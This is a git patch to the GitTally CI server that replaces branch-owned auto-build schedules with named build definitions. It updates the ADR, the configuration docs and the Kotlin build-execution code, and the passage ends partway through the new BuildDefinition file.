From 0e8db18e696f69b7edd62dc927724fab1ef960a9 Mon Sep 17 00:00:00 2001 From: mhoennig Date: Fri, 28 Aug 2026 20:06:02 +0200 Subject: [PATCH] Build definitions with onPush/atTimes replace branch-owned schedules ADR 0007: the YAML builds section (next to the reserved maxConcurrent key) defines named builds (jobs) with onPush/atTimes triggers, branch selectors (name globs, activeWithin age filter), and build-setting overrides applied last over the merged branch config. The implicit default build (onPush over all branches) preserves the previous behavior; the section is pinned against the worktree layer. Results record the job name; restart, retry, and startup recovery re-run by it, resolving settings from the current config. A non-default build records under the @ pool with its own row, retention count, and permanent latest-green link. branches.*.autoBuild stays as a deprecated alias (plain times only); the unreleased-in-practice v0.9.13 per-slot buildCommand/name syntax is removed again. Co-Authored-By: Claude Fable 5 --- .claude/skills/architecture/SKILL.md | 2 +- .../adrs/0007-2026-08-28.build-definitions.md | 10 +- docs/configuration.md | 97 ++++++----- .../hoennig/gittally/build/BuildExecutor.kt | 59 +++---- .../de/hoennig/gittally/build/BuildResult.kt | 23 +-- .../de/hoennig/gittally/build/RunningBuild.kt | 7 +- .../gittally/commands/ConsoleBuildRunner.kt | 6 +- .../hoennig/gittally/commands/InitCommand.kt | 18 +- .../hoennig/gittally/commands/RetryCommand.kt | 6 +- .../gittally/config/AutoBuildSlotFormat.kt | 62 ------- .../gittally/config/BuildDefinition.kt | 111 +++++++++++++ .../hoennig/gittally/config/ConfigLoader.kt | 41 ++++- .../hoennig/gittally/config/GitTallyConfig.kt | 48 ++---- .../de/hoennig/gittally/git/GitService.kt | 13 ++ .../gittally/server/BuildsApiController.kt | 6 +- .../gittally/watcher/AutoBuildState.kt | 18 +- .../de/hoennig/gittally/watcher/Watcher.kt | 107 +++++++++--- .../gittally/build/BuildExecutorTest.kt | 56 ++++--- .../gittally/commands/RetryCommandTest.kt | 8 +- .../gittally/config/ConfigLoaderTest.kt | 82 +++++++--- .../server/BuildsApiControllerTest.kt | 45 +---- .../gittally/watcher/AutoBuildStateTest.kt | 21 +-- .../hoennig/gittally/watcher/WatcherTest.kt | 154 ++++++++++-------- 23 files changed, 595 insertions(+), 405 deletions(-) delete mode 100644 src/main/kotlin/de/hoennig/gittally/config/AutoBuildSlotFormat.kt create mode 100644 src/main/kotlin/de/hoennig/gittally/config/BuildDefinition.kt diff --git a/.claude/skills/architecture/SKILL.md b/.claude/skills/architecture/SKILL.md index 998a365..8d76e24 100644 --- a/.claude/skills/architecture/SKILL.md +++ b/.claude/skills/architecture/SKILL.md @@ -54,7 +54,7 @@ Three places must stay in sync when config keys change: the `GitTallyConfig` dat ## Build Execution -`BuildExecutor` runs builds asynchronously: up to `builds.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. An auto-build slot (`autoBuild.times` entry) may carry its own `buildCommand` and `name`; the watcher passes them to `startBuild` as `buildCommandOverride` and `name`, persisted in the build result — UI restart and startup recovery pass the recorded values on, so a build always repeats with the command and name it originally ran under. Both are resolved watcher-side from the repo install/project config; the worktree layer cannot change them. `BuildResult.name` (default: the branch) keys everything display- and retention-side — repository grouping (`latestPerName`), retention pools, branches-view rows, permanent latest-green links — while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (a named slot builds in its branch's worktree, serialized with the branch's other builds), and Gitea links/statuses. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build. +`BuildExecutor` runs builds asynchronously: up to `builds.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section (reserved key `maxConcurrent` split off by `ConfigLoader`, section pinned against the worktree layer) defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `@` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build. On context close (e.g. systemd SIGTERM), a `ContextClosedEvent` listener in `BuildExecutor` terminates the process trees of all executing builds and waits (bounded) until their results are persisted as INTERRUPTED — a shutdown is never recorded as FAILED. Builds still queued stay PENDING and start no process. Both are re-enqueued by the watcher's startup recovery; INTERRUPTED therefore publishes as Gitea state `pending`, not `failure` (`GiteaStateMapping`). diff --git a/docs/adrs/0007-2026-08-28.build-definitions.md b/docs/adrs/0007-2026-08-28.build-definitions.md index 12f65a3..8629116 100644 --- a/docs/adrs/0007-2026-08-28.build-definitions.md +++ b/docs/adrs/0007-2026-08-28.build-definitions.md @@ -2,11 +2,11 @@ **Status:** - proposed: 2026-08-28 -- accepted: - +- accepted: 2026-08-28 - rejected: - - superseded: - -**Decision [proposed]:** A top-level `builds` section defines named builds (jobs) with `onPush`/`atTimes` triggers and a branch selector — the branch-owned `autoBuild` schedule and the v0.9.13 per-slot `buildCommand`/`name` syntax are replaced by it. +**Decision [accepted]:** A top-level `builds` section defines named builds (jobs) with `onPush`/`atTimes` triggers and a branch selector — the branch-owned `autoBuild` schedule and the v0.9.13 per-slot `buildCommand`/`name` syntax are replaced by it. `branches` stays what it is: per-branch build settings that every build inherits. ## Context and Problem Statement @@ -82,7 +82,7 @@ Semantics: Compatibility and migration: - No `builds` section, or no `default` entry: the implicit `default` build (`onPush: true`, all branches) preserves today's behavior exactly. Defining other builds does not disable it; `builds.default.onPush: false` does. -- `branches..autoBuild` (`enabled` + plain `times`) keeps working for a transition period, internally mapped to a scheduled build of the branch's own pool, with a deprecation warning in the log; `docs/configuration.md` documents only `builds`. +- `branches..autoBuild` (`enabled` + plain `times`) keeps working for compatibility, internally mapped to a scheduled build of the branch's own pool, with a deprecation warning in the log; removal is not scheduled. - The v0.9.13 per-slot `buildCommand` and `name` are **removed** (not deprecated): released one day ago, configured nowhere. #### Advantages @@ -112,5 +112,5 @@ Keep `autoBuild` (including the v0.9.13 slot syntax) forever next to `builds`. ## Decision Outcome -Top-level `builds` with `onPush`/`atTimes`, as specified above. -`branches.*.autoBuild` survives one deprecation period as a mapped alias; the v0.9.13 slot extras are reverted. +Top-level `builds` with `onPush`/`atTimes`, as specified above; the reserved key `maxConcurrent` stays in the same section for compatibility. +`branches.*.autoBuild` stays as a deprecated, mapped alias; the v0.9.13 slot extras are reverted. diff --git a/docs/configuration.md b/docs/configuration.md index 36892bd..76670e8 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -24,12 +24,13 @@ This layer applies **only** to the build itself. A pinned set is always taken fr install/project config and can never be set from the worktree: - secrets and server-side settings: the whole `git`, `gitea`, and `server` sections; +- the whole `builds` section: build definitions and `maxConcurrent`; - the container sandbox policy: `docker.enabled` and `docker.network`. This keeps a branch from disabling its own build container, changing its network mode, or -reaching credentials. Watcher decisions that happen before a build exists — the whole -`autoBuild` section (schedule and slot commands) and the `requirePullRequest` gate — are -read from the repo install/project config, because there is no worktree at that point. +reaching credentials. The whole `builds` section (build definitions and `maxConcurrent`) +and the deprecated `autoBuild` schedules are pinned too — jobs and their triggers are +server-side decisions made before a build worktree exists. ## Inspect the Effective Config @@ -84,13 +85,30 @@ gitea: repo: my-repo # repository name statusContext: GitTally # label shown on Gitea commit status checks (default: GitTally) -# Build execution. +# Build execution and named build definitions (jobs, see notes below). +# "maxConcurrent" is a reserved key; every other key names a build definition. builds: # How many branches may build at the same time. # At most one build per branch runs regardless; each branch builds in its own # git worktree under .git/gittally/worktrees/, never in the primary checkout. # Changing this value requires a restart. maxConcurrent: 1 + # Implicit unless overridden: the default build runs on push over all branches + # with the branch's regular settings — exactly the behavior without any + # build definitions. Set onPush: false here to disable on-push builds. + # default: + # onPush: true + # + # Example of a named build definition; all keys except its name are optional: + # pitest: + # onPush: false # trigger: build every new commit (default: false) + # atTimes: ["01:00"] # trigger: daily UTC times HH:MM (default: none) + # branches: ["master", "release/*"] # selector: names or glob patterns (default: all) + # activeWithin: 24h # selector: only branches with commits in the last 24h + # buildCommand: ./gradlew piTestFull # overrides; unset keys fall back to the + # cleanCommand: rm -rf build # merged branch settings (also available: + # artifactDirs: [build/reports] # stdoutLog, stderrLog, and docker + # # image/dockerfile/context/env) # Build artifact storage and retention. artifacts: @@ -145,15 +163,11 @@ branches: # Build this branch only while its head commit matches a pull-request head on origin # (refs/pull/*/head — read via plain git, no API token needed; see notes below). requirePullRequest: false + # DEPRECATED: define a build with atTimes in the builds section instead. + # Kept for compatibility: rebuilds this branch on schedule with its regular command. autoBuild: enabled: false # whether to rebuild on schedule - # UTC times HH:MM for scheduled builds. An entry may carry its own build - # command, so a nightly slot can run a fuller check than the on-commit - # builds, and a name recording its builds in a separate pool (see notes below): - # - time: "01:00" - # buildCommand: ./gradlew fullCheck - # name: main@nightly - times: ["01:00"] + times: ["01:00"] # UTC times HH:MM for scheduled builds # Optional Docker build runtime; when enabled, the clean and build commands # run inside a container instead of natively (see notes below). docker: @@ -170,27 +184,19 @@ branches: # additional environment variables set inside the build container env: {} - main: - autoBuild: - enabled: true - master: buildCommand: ./gradlew --console=plain --no-daemon quickCheck - autoBuild: - enabled: true - times: - # the nightly rebuild runs the full check instead of the quick on-commit - # one, recorded separately as master@nightly - - time: "01:00" - buildCommand: ./gradlew --console=plain --no-daemon completeCheck - name: master@nightly release: buildCommand: ./gradlew --console=plain --no-daemon --no-build-cache test jacocoReport - autoBuild: - enabled: true - times: - - "04:00" + +builds: + # the nightly rebuild runs the full check instead of the quick on-commit one, + # recorded separately as master@pitest + pitest: + atTimes: ["01:00"] + branches: ["master"] + buildCommand: ./gradlew -PfullPitTest --console=plain --no-daemon piTestFull ``` ### Notes on `server.bindAddress` @@ -237,24 +243,33 @@ Without the `main` override, direct pushes and merges to `main` would never buil A plain git origin (no Gitea/GitHub) serves no `refs/pull/*/head` at all, so gated branches would never build there. For such origins, disable all gates globally with `watcher.pullRequestGate: false` — typically in the machine-specific `.git/gittally/.gittally.yml`, so the committed configuration keeps the gates for forge-backed environments. -### Notes on `branches..autoBuild.times` +### Notes on `builds` (build definitions) -Each entry is either a plain `HH:MM` string or an object with `time` and optional `buildCommand` and `name`; both forms mix freely in one list. -A slot without its own command runs the branch's regular `buildCommand`. -The typical use is a quick check on every commit and a fuller, slower check in the nightly slot of the same branch. +Next to the reserved execution key `maxConcurrent`, every key of the `builds` section names a build definition (a job) over the branches — ADR 0007. +A build definition has triggers, a branch selector, and build-setting overrides. -A slot's command is recorded in the build result. -Restarting such a build from the UI re-runs it with the slot's command, and the startup recovery re-enqueues an interrupted one likewise — a build is always repeated with the command it originally ran. -Manual `gittally build ` runs and watcher builds for new commits always use the regular `buildCommand`. +Triggers: `onPush: true` builds every new commit of the selected branches; `atTimes: ["HH:MM", …]` rebuilds their heads once per day and slot (UTC). +A definition may have both; one with neither never triggers automatically. -Without a `name`, a slot's builds share the branch's history, retention pool, and permanent latest-green link — on a busy branch, the regular builds can displace the nightly build and its artifacts within a day. -A slot `name` (e.g. `master@nightly`) records the slot's builds in their own pool instead: an own row in the branches view (sorted after its branch), an own `retentionPerBranch` count, an own latest status, and an own permanent artifact link. -The URL key is the sanitized name — `master@nightly` is served as `/branches/master_nightly/…`. -The builds still run in the branch's worktree, one build per branch at a time, and the Gitea commit status is still reported per commit in the shared status context, so the last build of a commit wins there regardless of its name. -Do not name a slot like an existing branch — the pools would merge. -The name's results live as long as the underlying branch exists on origin. +Selector: `branches` lists branch names or glob patterns (`*` matches any characters, also across `/`); empty selects all origin branches. +`activeWithin` (e.g. `24h`) additionally keeps only branches whose origin head commit is younger than the duration — useful to run a nightly deep check over all recently active branches. +Both parts combine as an intersection. +The `branches..requirePullRequest` gate stays a branch property and gates all watcher-triggered builds of that branch. -The whole `autoBuild` section is a watcher decision made before a build worktree exists, so — unlike `buildCommand` itself — it is read from the repo install/project config and cannot be changed by the `.gittally.yml` committed on the branch being built. +Overrides: `buildCommand`, `cleanCommand`, `artifactDirs`, `stdoutLog`/`stderrLog`, and the docker image keys (`image`, `dockerfile`, `context`, `env`). +The effective settings of one build on one branch merge in this order: defaults → `branches.default` → `branches.` → the worktree's committed `.gittally.yml` → the build definition's overrides. +Unset keys fall back; the definition wins last because it is the job. +The whole `builds` section is pinned: it always comes from the repo install/project config, and the `.gittally.yml` committed on a branch can neither define jobs nor change `maxConcurrent`. + +The implicit `default` build (`onPush: true`, all branches) preserves the behavior without any definitions; defining other builds does not disable it, `builds.default.onPush: false` does. +The `default` build records under the plain branch name; every other build records under `@` with its own row in the branches view (sorted after its branch), its own `retentionPerBranch` count, latest status, and permanent latest-green artifact link. +The URL key is the sanitized pool name — `master@pitest` is served as `/branches/master_pitest/…`. +The pools live as long as the underlying branch exists on origin. +Restart, `gittally retry`, and the startup recovery re-run a build under its recorded definition, resolving the settings from the current configuration — the job definition is the source of truth, not the historical run. +The builds still run in their branch's worktree, one build per branch at a time, and the Gitea commit status is reported per commit in the shared status context (the last build of a commit wins there). + +`branches..autoBuild` (`enabled` + `times`) is the deprecated pre-ADR-0007 schedule, kept for compatibility: it rebuilds the branch's own pool with its regular command and logs a deprecation warning. +`autoBuild.times` entries carrying their own `buildCommand`/`name` (a short-lived v0.9.13 syntax) are no longer supported — use a build definition. ### Notes on `watcher.fastForwardLocalRefs` diff --git a/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt b/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt index e9d990b..6216f28 100644 --- a/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt +++ b/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt @@ -1,6 +1,7 @@ package de.hoennig.gittally.build import de.hoennig.gittally.config.BranchConfig +import de.hoennig.gittally.config.BuildDefinition import de.hoennig.gittally.config.ConfigLoader import de.hoennig.gittally.gitea.GiteaClient import org.slf4j.LoggerFactory @@ -67,27 +68,25 @@ class BuildExecutor( * not cancel-requested), that build is returned instead of stacking a duplicate — * a double-triggered UI restart must not queue the same commit twice. Re-running * a *finished* build stays possible; this only guards the active queue. - * A [buildCommandOverride] (from an auto-build slot with its own command) replaces - * the branch's configured `buildCommand`; since the command differs, such a build - * never counts as a duplicate of a regular build of the same commit. - * A [name] (from a named auto-build slot) records the result under that name - * instead of the branch name, giving the slot its own history and retention pool; - * the build still runs in the branch's worktree, serialized with the branch's - * other builds. + * The [build] names the build definition (job, ADR 0007) this run belongs to; its + * settings — command overrides and the result pool `@` — are + * resolved from the current configuration when the build starts executing. A + * non-default build has its own pool, so it never counts as a duplicate of the + * branch's regular build of the same commit; it still runs in the branch's + * worktree, serialized with the branch's other builds. */ fun startBuild( branch: String, commit: String, workingDir: Path = Paths.get("."), - buildCommandOverride: String? = null, - name: String = branch, + build: String = BuildDefinition.DEFAULT, ): RunningBuild { + val name = BuildDefinition.poolName(branch, build) val duplicate = builds.values.firstOrNull { !it.cancelled.get() && it.runningBuild.name == name && - it.runningBuild.commit == commit && - it.runningBuild.buildCommandOverride == buildCommandOverride + it.runningBuild.commit == commit } if (duplicate != null) { log.info("build of branch {} at commit {} is already queued or running; not queueing a duplicate", branch, commit) @@ -98,23 +97,21 @@ class BuildExecutor( val runningBuild = RunningBuild( branch = branch, - name = name, + build = build, commit = commit, artifactKey = ArtifactKeys.buildKey(name, startedAt), startedAt = startedAt, stagingDir = stagingDir, liveLogFile = stagingDir.resolve(LIVE_LOG_FILE), - buildCommandOverride = buildCommandOverride, ) val pending = BuildResult( branch = branch, - name = name, + build = build, commit = commit, status = BuildStatus.PENDING, startedAt = startedAt, duration = null, - buildCommandOverride = buildCommandOverride, artifactKey = runningBuild.artifactKey, ) repository.append(pending) @@ -259,8 +256,8 @@ class BuildExecutor( build: ActiveBuild, workspace: Path, ): Int { - val branchConfig = branchConfig(build.runningBuild.branch, build.workingDir, workspace) - val buildCommand = build.runningBuild.buildCommandOverride ?: branchConfig.buildCommand + val branchConfig = buildConfig(build.runningBuild, build.workingDir, workspace) + val buildCommand = branchConfig.buildCommand val stagingDir = build.runningBuild.stagingDir Files.newOutputStream(stagingDir.resolve(branchConfig.stdoutLog)).use { stdoutLog -> Files.newOutputStream(stagingDir.resolve(branchConfig.stderrLog)).use { stderrLog -> @@ -374,13 +371,12 @@ class BuildExecutor( ) } ?: BuildResult( branch = runningBuild.branch, - name = runningBuild.name, + build = runningBuild.build, commit = runningBuild.commit, status = status, startedAt = runningBuild.startedAt, runningSince = runningBuild.runningSince, duration = duration, - buildCommandOverride = runningBuild.buildCommandOverride, artifactKey = runningBuild.artifactKey, ).also { repository.append(it) } eventPublisher.publishEvent(BuildStatusChangedEvent(updated)) @@ -433,15 +429,12 @@ class BuildExecutor( val header = buildString { appendLine("building branch: ${runningBuild.branch}") - if (runningBuild.name != runningBuild.branch) { - appendLine("build name: ${runningBuild.name}") + if (runningBuild.build != BuildDefinition.DEFAULT) { + appendLine("build: ${runningBuild.build} (recorded as ${runningBuild.name})") } appendLine("commit: ${runningBuild.commit}") appendLine("started: ${runningBuild.startedAt}") appendLine("workspace: $workspace") - if (runningBuild.buildCommandOverride != null) { - appendLine("triggered by: auto-build slot with its own build command") - } appendLine("build command: $buildCommand") if (branchConfig.cleanCommand.isNotBlank()) { appendLine("clean command: ${branchConfig.cleanCommand}") @@ -470,14 +463,22 @@ class BuildExecutor( } } - /** The build config for [branch], with the build [worktree]'s `.gittally.yml` layered on top (see [ConfigLoader.loadForWorktree]). */ - private fun branchConfig( - branch: String, + /** + * The effective settings of this run: the branch config with the build [worktree]'s + * `.gittally.yml` layered on top (see [ConfigLoader.loadForWorktree]), then the + * build definition's overrides applied last — the job wins, and it always comes + * from the primary config (`builds` is a pinned section). An unknown build name + * (a stale result whose job was removed) falls back to the plain branch settings. + */ + private fun buildConfig( + runningBuild: RunningBuild, workingDir: Path, worktree: Path, ): BranchConfig { - val branches = configLoader.loadForWorktree(workingDir, worktree).branches - return branches[branch] ?: branches["default"] ?: BranchConfig() + val config = configLoader.loadForWorktree(workingDir, worktree) + val branchConfig = config.branches[runningBuild.branch] ?: config.branches["default"] ?: BranchConfig() + val definition = config.effectiveBuildDefinitions()[runningBuild.build] ?: return branchConfig + return definition.applyTo(branchConfig) } private class ActiveBuild( diff --git a/src/main/kotlin/de/hoennig/gittally/build/BuildResult.kt b/src/main/kotlin/de/hoennig/gittally/build/BuildResult.kt index 4bd6170..b640899 100644 --- a/src/main/kotlin/de/hoennig/gittally/build/BuildResult.kt +++ b/src/main/kotlin/de/hoennig/gittally/build/BuildResult.kt @@ -1,5 +1,6 @@ package de.hoennig.gittally.build +import de.hoennig.gittally.config.BuildDefinition import java.time.Duration import java.time.Instant @@ -7,12 +8,18 @@ data class BuildResult( /** The git branch that was built — Gitea links and origin lookups always use this. */ val branch: String, /** - * The build name this result is recorded under: the branch name, unless a named - * auto-build slot (`autoBuild.times[].name`, e.g. `master@nightly`) set its own. - * History rows, retention pools, latest status, and the permanent latest-green - * artifact links are all keyed by this name. + * The build definition (job) this result belongs to; re-runs (restart, retry, + * startup recovery) resolve their settings from the current configuration by + * this name — the job definition is the source of truth, not the recorded run. */ - val name: String = branch, + val build: String = BuildDefinition.DEFAULT, + /** + * The pool this result is recorded under: the branch name for the default build, + * `@` otherwise (see [BuildDefinition.poolName]). History rows, + * retention pools, latest status, and the permanent latest-green artifact links + * are all keyed by this name. + */ + val name: String = BuildDefinition.poolName(branch, build), val commit: String, val status: BuildStatus, /** When the build was accepted (enqueued); the time until [runningSince] is queue wait. */ @@ -21,11 +28,5 @@ data class BuildResult( val runningSince: Instant? = null, /** Pure build execution time (from [runningSince]), without the queue wait. */ val duration: Duration? = null, - /** - * Command dictated by the auto-build slot that triggered this build; null means the - * branch's configured `buildCommand` was used. A restart or startup-recovery re-run - * repeats the build with this command, so a build always reruns what it originally ran. - */ - val buildCommandOverride: String? = null, val artifactKey: String, ) diff --git a/src/main/kotlin/de/hoennig/gittally/build/RunningBuild.kt b/src/main/kotlin/de/hoennig/gittally/build/RunningBuild.kt index c1cad79..afef9e0 100644 --- a/src/main/kotlin/de/hoennig/gittally/build/RunningBuild.kt +++ b/src/main/kotlin/de/hoennig/gittally/build/RunningBuild.kt @@ -1,5 +1,6 @@ package de.hoennig.gittally.build +import de.hoennig.gittally.config.BuildDefinition import java.nio.file.Path import java.time.Instant @@ -7,8 +8,10 @@ import java.time.Instant data class RunningBuild( /** The git branch being built. */ val branch: String, - /** The build name the result is recorded under; the branch name unless a named auto-build slot set its own. */ - val name: String = branch, + /** The build definition (job) this build runs; its settings are resolved from config at run time. */ + val build: String = BuildDefinition.DEFAULT, + /** The pool the result is recorded under: the branch, or `@` for non-default builds. */ + val name: String = BuildDefinition.poolName(branch, build), val commit: String, val artifactKey: String, val startedAt: Instant, diff --git a/src/main/kotlin/de/hoennig/gittally/commands/ConsoleBuildRunner.kt b/src/main/kotlin/de/hoennig/gittally/commands/ConsoleBuildRunner.kt index 9f3b47b..7f94abf 100644 --- a/src/main/kotlin/de/hoennig/gittally/commands/ConsoleBuildRunner.kt +++ b/src/main/kotlin/de/hoennig/gittally/commands/ConsoleBuildRunner.kt @@ -6,6 +6,7 @@ import de.hoennig.gittally.build.BuildResult import de.hoennig.gittally.build.BuildResultRepository import de.hoennig.gittally.build.BuildStatus import de.hoennig.gittally.build.RunningBuild +import de.hoennig.gittally.config.BuildDefinition import de.hoennig.gittally.server.UiFormats import org.springframework.stereotype.Component import java.io.IOException @@ -37,10 +38,9 @@ class ConsoleBuildRunner( branch: String, commit: String, workingDir: Path = Paths.get("."), - buildCommandOverride: String? = null, - name: String = branch, + buildDefinition: String = BuildDefinition.DEFAULT, ): BuildStatus { - val build = buildExecutor.startBuild(branch, commit, workingDir, buildCommandOverride, name) + val build = buildExecutor.startBuild(branch, commit, workingDir, buildDefinition) var printed = 0L var result: BuildResult? = null while (result?.status?.isTerminal != true) { diff --git a/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt b/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt index bae103a..01b41df 100644 --- a/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt +++ b/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt @@ -150,10 +150,18 @@ class InitCommand( repo: ${detected.repo} # repository name statusContext: GitTally # label shown on Gitea commit status checks (default: GitTally) - # Build execution. + # Build execution and named build definitions (jobs); "maxConcurrent" is a + # reserved key, every other key names a build definition over the branches. builds: # how many branches may build at the same time (at most one build per branch regardless) maxConcurrent: 1 + # Example definition — triggers (onPush/atTimes), branch selector + # (branches/activeWithin), and overrides of the branch settings: + # pitest: + # atTimes: ["01:00"] # daily UTC times HH:MM + # branches: ["master"] # names or glob patterns; default: all branches + # activeWithin: 24h # only branches with recent commits + # buildCommand: ./gradlew piTestFull # Build artifact storage and retention. artifacts: @@ -197,14 +205,10 @@ class InitCommand( # build only while the branch head matches a pull-request head on origin # (refs/pull/*/head — read via plain git, no API token needed) requirePullRequest: false + # DEPRECATED: define a build with atTimes in the builds section instead autoBuild: enabled: false # whether to rebuild on schedule - # UTC times HH:MM for scheduled builds; an entry may carry its own - # command and a name for a separate history/artifact pool: - # - time: "01:00" - # buildCommand: ./gradlew fullCheck - # name: main@nightly - times: ["01:00"] + times: ["01:00"] # UTC times HH:MM for scheduled builds docker: enabled: false # run clean/build commands in a Docker container instead of natively image: "" # image for the build container; required when enabled diff --git a/src/main/kotlin/de/hoennig/gittally/commands/RetryCommand.kt b/src/main/kotlin/de/hoennig/gittally/commands/RetryCommand.kt index 8d99fd0..68b354b 100644 --- a/src/main/kotlin/de/hoennig/gittally/commands/RetryCommand.kt +++ b/src/main/kotlin/de/hoennig/gittally/commands/RetryCommand.kt @@ -50,9 +50,9 @@ class RetryCommand( println("skipping branch ${result.branch}: gone from origin") continue } - println("retrying branch ${result.branch} at commit ${commit.take(12)}") - // a failed auto-slot build retries with its recorded command, under its name - val status = consoleBuildRunner.buildAndStream(result.branch, commit, workingDir, result.buildCommandOverride, result.name) + println("retrying build ${result.name} at commit ${commit.take(12)}") + // a failed build retries its recorded build definition (settings from the current config) + val status = consoleBuildRunner.buildAndStream(result.branch, commit, workingDir, result.build) if (status != BuildStatus.SUCCESS) { anyFailed = true } diff --git a/src/main/kotlin/de/hoennig/gittally/config/AutoBuildSlotFormat.kt b/src/main/kotlin/de/hoennig/gittally/config/AutoBuildSlotFormat.kt deleted file mode 100644 index 4db2895..0000000 --- a/src/main/kotlin/de/hoennig/gittally/config/AutoBuildSlotFormat.kt +++ /dev/null @@ -1,62 +0,0 @@ -package de.hoennig.gittally.config - -import com.fasterxml.jackson.core.JsonGenerator -import com.fasterxml.jackson.core.JsonParser -import com.fasterxml.jackson.databind.DeserializationContext -import com.fasterxml.jackson.databind.JsonDeserializer -import com.fasterxml.jackson.databind.JsonNode -import com.fasterxml.jackson.databind.JsonSerializer -import com.fasterxml.jackson.databind.SerializerProvider - -/** - * Accepts both YAML forms of an [AutoBuildSlot] entry: a plain `HH:MM` string, or an - * object with `time` and optional `buildCommand` and `name`. - */ -class AutoBuildSlotDeserializer : JsonDeserializer() { - override fun deserialize( - parser: JsonParser, - context: DeserializationContext, - ): AutoBuildSlot { - val node = parser.readValueAsTree() - if (node.isTextual) { - return AutoBuildSlot(time = node.asText()) - } - if (node.isObject) { - val time = - node.get("time")?.takeIf { it.isTextual }?.asText() - ?: throw context.instantiationException(AutoBuildSlot::class.java, "auto-build slot object needs a 'time' (HH:MM)") - return AutoBuildSlot( - time = time, - buildCommand = node.get("buildCommand")?.asText() ?: "", - name = node.get("name")?.asText() ?: "", - ) - } - throw context.instantiationException( - AutoBuildSlot::class.java, - "auto-build slot must be an HH:MM string or an object with 'time' and optional 'buildCommand' and 'name'", - ) - } -} - -/** Writes the compact form back: a plain string unless the slot carries its own command or name. */ -class AutoBuildSlotSerializer : JsonSerializer() { - override fun serialize( - slot: AutoBuildSlot, - generator: JsonGenerator, - provider: SerializerProvider, - ) { - if (slot.buildCommand.isBlank() && slot.name.isBlank()) { - generator.writeString(slot.time) - return - } - generator.writeStartObject() - generator.writeStringField("time", slot.time) - if (slot.buildCommand.isNotBlank()) { - generator.writeStringField("buildCommand", slot.buildCommand) - } - if (slot.name.isNotBlank()) { - generator.writeStringField("name", slot.name) - } - generator.writeEndObject() - } -} diff --git a/src/main/kotlin/de/hoennig/gittally/config/BuildDefinition.kt b/src/main/kotlin/de/hoennig/gittally/config/BuildDefinition.kt new file mode 100644 index 0000000..fd98a60 --- /dev/null +++ b/src/main/kotlin/de/hoennig/gittally/config/BuildDefinition.kt @@ -0,0 +1,111 @@ +package de.hoennig.gittally.config + +import java.time.Duration +import java.time.Instant + +/** + * A named build (job) over the branches — ADR 0007. In YAML these live in the + * top-level `builds` section next to the reserved execution key `maxConcurrent` + * (split apart by [ConfigLoader]); a build definition always comes from the repo + * install/project config, never from a build worktree. + * + * The `default` build records its results under the plain branch name; every other + * build records under `@` with its own history, retention pool, and + * permanent latest-green link. + */ +data class BuildDefinition( + /** Build every new commit of the selected branches. */ + val onPush: Boolean = false, + /** Daily UTC times `HH:MM`; each slot rebuilds the selected branches' heads once per day. */ + val atTimes: List = emptyList(), + /** + * Branch names or glob patterns (`*` matches any characters, also across `/`); + * empty selects all origin branches. + */ + val branches: List = emptyList(), + /** + * Only branches whose origin head commit is younger than this (e.g. `24h`); + * empty applies no age filter. Combines with [branches] as an intersection. + */ + val activeWithin: String = "", + /** Overrides the branch's build command; null inherits it. */ + val buildCommand: String? = null, + /** Overrides the branch's clean command; null inherits it. */ + val cleanCommand: String? = null, + /** Overrides the branch's artifact directories; null inherits them. */ + val artifactDirs: List? = null, + /** Overrides the branch's stdout log file name; null inherits it. */ + val stdoutLog: String? = null, + /** Overrides the branch's stderr log file name; null inherits it. */ + val stderrLog: String? = null, + /** Overrides of the branch's docker image settings; the sandbox policy (`enabled`, `network`) is not overridable. */ + val docker: DockerOverrides? = null, +) { + /** True when [branch] matches the [branches] patterns (or none are configured). */ + fun selectsByName(branch: String): Boolean = branches.isEmpty() || branches.any { globToRegex(it).matches(branch) } + + /** + * True when [branch] passes both selector parts; [headCommittedAt] is the branch + * head's committer time, only consulted while [activeWithin] is set (null then + * deselects the branch). + */ + fun selects( + branch: String, + headCommittedAt: () -> Instant?, + now: Instant, + ): Boolean { + if (!selectsByName(branch)) { + return false + } + if (activeWithin.isBlank()) { + return true + } + val committedAt = headCommittedAt() ?: return false + return committedAt >= now.minus(maxAge()) + } + + fun maxAge(): Duration = DurationParser.parse(activeWithin) + + /** The branch settings with this build's overrides applied; unset values fall through. */ + fun applyTo(branchConfig: BranchConfig): BranchConfig = + branchConfig.copy( + buildCommand = buildCommand ?: branchConfig.buildCommand, + cleanCommand = cleanCommand ?: branchConfig.cleanCommand, + artifactDirs = artifactDirs ?: branchConfig.artifactDirs, + stdoutLog = stdoutLog ?: 